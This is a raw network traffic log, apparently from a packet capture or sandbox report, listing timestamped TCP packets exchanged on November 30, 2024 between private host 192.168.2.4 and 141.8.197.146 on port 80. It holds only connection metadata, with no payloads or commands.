Nov 30, 2024 05:00:16.197284937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.197329998 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.198174953 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.198189020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.198236942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.199112892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.199125051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.199171066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.200047970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.200325012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.200376987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.201004028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.201111078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.201155901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.201956034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.202073097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.202117920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.202919006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.203027010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.203067064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.203885078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.203996897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.204040051 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.204829931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.204965115 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.205005884 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.205796003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.205909967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.205955029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.206754923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.206849098 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.206890106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.207700014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.207813978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.207854986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.208666086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.208776951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.208822966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.209611893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.209728956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.209769964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.210577011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.210692883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.210741043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.211530924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.211654902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.211738110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.212488890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.212610006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.212650061 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.213449001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.213552952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.213601112 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.214409113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.214464903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.214507103 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.215348959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.215477943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.215517044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.216347933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.216485977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.216522932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.217274904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.217379093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.217417002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.218233109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.218355894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.218391895 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.219213963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.219347954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.219386101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.220165014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.220298052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.220329046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.221132040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.221232891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.221271992 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.222074986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.222193003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.222229958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.223015070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.223123074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.223160982 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.224005938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.224112034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.224153042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.224941015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.225064039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.225111961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.225919008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.226039886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.226080894 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.226846933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.258826017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.258903027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.258940935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.259193897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.259233952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.259305954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.260166883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.260205984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.260282993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.261126995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.261164904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.261220932 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.262079000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.262120962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.262181997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.263040066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.263103962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.263159037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.264033079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.264075994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.264080048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.305344105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.383487940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.383598089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.383709908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.383976936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.384098053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.384957075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.385021925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.385031939 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.385070086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.385860920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.386193037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.386276007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.386322975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.387120962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.387178898 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.387247086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.388108015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.388219118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.388268948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.389055014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.389108896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.389146090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.390014887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.390119076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.390170097 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.390985966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.391041994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.391103983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.391942978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.392011881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.392064095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.393985987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.393996000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.394052029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.394279957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.394325972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.394351959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.395294905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.395404100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.395407915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.396178961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.396243095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.396301985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.397145987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.397231102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.397278070 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.398112059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.398194075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.398243904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.399074078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.399086952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.399118900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.400021076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.400033951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.400080919 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.400979042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.400990963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.401037931 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.401906013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.401999950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.402055025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.402874947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.402945995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.402971029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.403836012 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.403971910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.404026031 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.404791117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.404845953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.404881001 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.405761003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.405864000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.405917883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.406719923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.406827927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.406879902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.407660007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.407713890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.407757044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.408624887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.408705950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.408762932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.409593105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.409645081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.409677029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.410527945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.410629034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.410721064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.411534071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.411587000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.411658049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.412446976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.412540913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.412595987 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.413403034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.413460970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.413496971 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.414367914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.414468050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.414525986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.415339947 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.415407896 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.415443897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.416281939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.416379929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.416428089 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.417237043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.417305946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.417331934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.418193102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.418297052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.418344975 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.419159889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.419209957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.419213057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.420104027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.420146942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.420198917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.421061993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.421123981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.421159983 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.422180891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.422271013 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.422341108 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.422971010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.423012018 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.423075914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.423959970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.424089909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.424138069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.424891949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.424927950 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.424988985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.425883055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.425936937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.425997972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.426791906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.426907063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.426948071 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.427779913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.427820921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.427860022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.460026979 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.460123062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.460189104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.460439920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.460484028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.460557938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.461426020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.461477041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.461549997 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.462358952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.462428093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.462471962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.463371992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.463416100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.463438988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.464298964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.464340925 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.464378119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.465243101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.465307951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.465352058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.584743023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.584815025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.584889889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.585155964 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.585199118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.585942984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.586122990 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.586246967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.587034941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.587096930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.587373972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.587426901 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.587439060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.588386059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.588479042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.588531971 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.589385986 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.589440107 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.589512110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.590338945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.590590000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.590636969 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.591238022 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.591280937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.591824055 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.592233896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.592246056 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.592303038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.593163967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.593174934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.593215942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.595514059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.595566034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.595623970 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.596040010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.596091986 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.596123934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.596940041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.597060919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.597105026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.597906113 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.597963095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.598000050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.598875999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.598984003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.599040985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.599834919 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.599889040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.599956989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.600789070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.600889921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.600931883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.601754904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.601795912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.601834059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.602708101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.602752924 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.602813959 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.603682995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.603821039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:16.603876114 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:16.604645014 CET	80	49732	141.8.197.146	192.168.2.4
